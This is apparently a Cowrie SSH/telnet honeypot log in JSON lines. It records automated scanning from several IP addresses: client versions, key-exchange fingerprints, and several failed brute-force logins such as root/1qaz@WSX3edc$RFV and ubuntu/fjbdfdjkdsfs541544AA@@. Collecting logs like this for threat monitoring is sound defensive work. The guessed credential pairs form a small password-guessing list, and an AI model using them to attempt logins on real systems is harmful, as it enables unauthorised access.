{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:05.361690Z","src_ip":"103.122.221.179","session":"296c5018e7d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonanza","message":"login attempt [root/bonanza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:06.182341Z","src_ip":"103.122.221.179","session":"296c5018e7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:07.460559Z","src_ip":"103.122.221.179","session":"296c5018e7d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":42572,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaaa25b15255","protocol":"ssh","message":"New connection: 191.101.59.86:42572 (159.203.135.109:22) [session: eaaa25b15255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:21.879621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:22.283607Z","src_ip":"191.101.59.86","session":"eaaa25b15255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:22.475430Z","src_ip":"191.101.59.86","session":"eaaa25b15255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV","message":"login attempt [root/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:23.592435Z","src_ip":"191.101.59.86","session":"eaaa25b15255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:24.775526Z","src_ip":"191.101.59.86","session":"eaaa25b15255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":60708,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d4cd61992dc","protocol":"ssh","message":"New connection: 31.41.152.180:60708 (159.203.135.109:22) [session: 7d4cd61992dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:29.482292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:29.490458Z","src_ip":"31.41.152.180","session":"7d4cd61992dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:29.602741Z","src_ip":"31.41.152.180","session":"7d4cd61992dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aezakmi","message":"login attempt [root/aezakmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:30.084831Z","src_ip":"31.41.152.180","session":"7d4cd61992dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":48552,"dst_ip":"159.203.135.109","dst_port":22,"session":"faed3e4ed8d8","protocol":"ssh","message":"New connection: 82.197.58.130:48552 (159.203.135.109:22) [session: faed3e4ed8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:30.505881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:30.511217Z","src_ip":"82.197.58.130","session":"faed3e4ed8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:30.664532Z","src_ip":"82.197.58.130","session":"faed3e4ed8d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:31.205414Z","src_ip":"31.41.152.180","session":"7d4cd61992dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV","message":"login attempt [root/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:31.312489Z","src_ip":"82.197.58.130","session":"faed3e4ed8d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:32.467898Z","src_ip":"82.197.58.130","session":"faed3e4ed8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.34.108.245","src_port":43493,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca0c574e466","protocol":"telnet","message":"New connection: 114.34.108.245:43493 (10.17.0.5:23) [session: 2ca0c574e466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:48.733424Z"}
{"eventid":"cowrie.session.closed","duration":30.5505690574646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:06:19.283876Z","src_ip":"114.34.108.245","session":"2ca0c574e466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":37292,"dst_ip":"159.203.135.109","dst_port":22,"session":"943eaf4f5ab4","protocol":"ssh","message":"New connection: 82.197.58.130:37292 (159.203.135.109:22) [session: 943eaf4f5ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:02.191144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:02.195883Z","src_ip":"82.197.58.130","session":"943eaf4f5ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:02.348631Z","src_ip":"82.197.58.130","session":"943eaf4f5ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"12345","message":"login attempt [proxyuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:02.988416Z","src_ip":"82.197.58.130","session":"943eaf4f5ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":44798,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7c7e4a7c8a","protocol":"ssh","message":"New connection: 191.101.59.86:44798 (159.203.135.109:22) [session: 6b7c7e4a7c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:03.231753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:03.237115Z","src_ip":"191.101.59.86","session":"6b7c7e4a7c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:03.312375Z","src_ip":"191.101.59.86","session":"6b7c7e4a7c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123!@","message":"login attempt [root/Test123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:03.665187Z","src_ip":"191.101.59.86","session":"6b7c7e4a7c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:04.145295Z","src_ip":"82.197.58.130","session":"943eaf4f5ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:04.743275Z","src_ip":"191.101.59.86","session":"6b7c7e4a7c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37770,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b80c9a414f0","protocol":"telnet","message":"New connection: 135.148.14.151:37770 (159.203.135.109:23) [session: 2b80c9a414f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:15.148101Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":44644,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f570072f9e7","protocol":"ssh","message":"New connection: 31.41.152.180:44644 (159.203.135.109:22) [session: 5f570072f9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:22.615252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:22.620301Z","src_ip":"31.41.152.180","session":"5f570072f9e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:22.733015Z","src_ip":"31.41.152.180","session":"5f570072f9e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:23.217723Z","src_ip":"31.41.152.180","session":"5f570072f9e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:24.335479Z","src_ip":"31.41.152.180","session":"5f570072f9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36992,"dst_ip":"10.17.0.5","dst_port":22,"session":"59669015ca09","protocol":"ssh","message":"New connection: 103.149.28.157:36992 (10.17.0.5:22) [session: 59669015ca09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:25.291581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:25.301017Z","src_ip":"103.149.28.157","session":"59669015ca09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:25.558163Z","src_ip":"103.149.28.157","session":"59669015ca09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7u8i9o0p","message":"login attempt [root/7u8i9o0p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:26.320206Z","src_ip":"103.149.28.157","session":"59669015ca09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:27.577038Z","src_ip":"103.149.28.157","session":"59669015ca09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50992,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9589eb36261","protocol":"ssh","message":"New connection: 103.77.242.62:50992 (159.203.135.109:22) [session: b9589eb36261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:36.699792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:07:36.705997Z","src_ip":"103.77.242.62","session":"b9589eb36261","protocol":"ssh"}
